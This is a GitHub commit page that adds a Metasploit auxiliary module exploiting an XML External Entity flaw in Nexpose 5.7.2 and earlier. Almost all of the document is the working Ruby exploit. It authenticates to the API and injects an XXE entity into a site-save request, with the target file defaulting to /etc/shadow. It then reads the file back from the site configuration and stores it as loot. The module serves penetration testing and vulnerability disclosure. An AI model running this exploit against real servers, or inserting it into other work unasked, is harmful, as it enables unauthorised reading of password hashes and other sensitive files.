Skip to content

Commit e50ef20

Browse files
author
jvazquez-r7
committed
Land rapid7#2233, @bperry-r7's module for nexpose
2 parents 85b0501 + f42797f commit e50ef20

File tree

1 file changed

+136
-0
lines changed

1 file changed

+136
-0
lines changed
Lines changed: 136 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,136 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'rapid7/nexpose'
10+
11+
class Metasploit4 < Msf::Auxiliary
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Auxiliary::Report
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Nexpose XXE Arbitrary File Read',
19+
'Description' => %q{
20+
Nexpose v5.7.2 and prior is vulnerable to a XML External Entity attack via a number
21+
of vectors. This vulnerability can allow an attacker to a craft special XML that
22+
could read arbitrary files from the filesystem. This module exploits the
23+
vulnerability via the XML API.
24+
},
25+
'Author' =>
26+
[
27+
'Brandon Perry <bperry.volatile[at]gmail.com>', # Initial discovery and Metasploit module
28+
'Drazen Popovic <drazen.popvic[at]infigo.hr>', # Independent discovery, alternate vector
29+
'Bojan Zdrnja <bojan.zdrnja[at]infigo.hr>' # Independently reported
30+
],
31+
'License' => MSF_LICENSE,
32+
'References' =>
33+
[
34+
[ 'URL', 'https://community.rapid7.com/community/nexpose/blog/2013/08/16/r7-vuln-2013-07-24' ],
35+
# Fill this in with the direct advisory URL from Infigo
36+
[ 'URL', 'http://www.infigo.hr/in_focus/advisories/' ]
37+
],
38+
'DefaultOptions' => {
39+
'SSL' => true
40+
}
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(3780),
46+
OptString.new('USERNAME', [true, "The Nexpose user", nil]),
47+
OptString.new('PASSWORD', [true, "The Nexpose password", nil]),
48+
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/shadow"])
49+
], self.class)
50+
end
51+
52+
def run
53+
user = datastore['USERNAME']
54+
pass = datastore['PASSWORD']
55+
prot = ssl ? 'https' : 'http'
56+
57+
nsc = Nexpose::Connection.new(rhost, user, pass, rport)
58+
59+
print_status("Authenticating as: " << user)
60+
begin
61+
nsc.login
62+
report_auth_info(
63+
:host => rhost,
64+
:port => rport,
65+
:sname => prot,
66+
:user => user,
67+
:pass => pass,
68+
:proof => '',
69+
:active => true
70+
)
71+
72+
rescue
73+
print_error("Error authenticating, check your credentials")
74+
return
75+
end
76+
77+
xml = '<!DOCTYPE foo ['
78+
xml << '<!ELEMENT host ANY>'
79+
xml << '<!ENTITY xxe SYSTEM "file://' << datastore['FILEPATH'] << '">'
80+
xml << ']>'
81+
xml << '<SiteSaveRequest session-id="'
82+
83+
xml << nsc.session_id
84+
85+
xml << '">'
86+
xml << '<Site id="-1" name="fdsa" description="fdfdsa">'
87+
xml << '<Hosts>'
88+
xml << '<host>&xxe;</host>'
89+
xml << '</Hosts>'
90+
xml << '<Credentials />'
91+
xml << '<Alerting />'
92+
xml << '<ScanConfig configID="-1" name="fdsa" templateID="full-audit" />'
93+
xml << '</Site>'
94+
xml << '</SiteSaveRequest>'
95+
96+
print_status("Sending payload")
97+
begin
98+
fsa = nsc.execute(xml)
99+
rescue
100+
print_error("Error executing API call for site creation, ensure the filepath is correct")
101+
return
102+
end
103+
104+
doc = REXML::Document.new fsa.raw_response_data
105+
id = doc.root.attributes["site-id"]
106+
107+
xml = "<SiteConfigRequest session-id='" << nsc.session_id << "' site-id='" << id << "' />"
108+
109+
print_status("Retrieving file")
110+
begin
111+
fsa = nsc.execute(xml)
112+
rescue
113+
nsc.site_delete id
114+
print_error("Error retrieving the file.")
115+
return
116+
end
117+
118+
doc = REXML::Document.new fsa.raw_response_data
119+
120+
print_status("Cleaning up")
121+
begin
122+
nsc.site_delete id
123+
rescue
124+
print_warning("Error while cleaning up site ID, manual cleanup required!")
125+
end
126+
127+
unless doc.root.elements["//host"]
128+
print_error("No file returned. Either the server is patched or the file did not exist.")
129+
return
130+
end
131+
132+
path = store_loot('nexpose.file','text/plain', rhost, doc.root.elements["//host"].first.to_s, "File from Nexpose server #{rhost}")
133+
print_good("File saved to path: " << path)
134+
end
135+
136+
end

0 commit comments

Comments
 (0)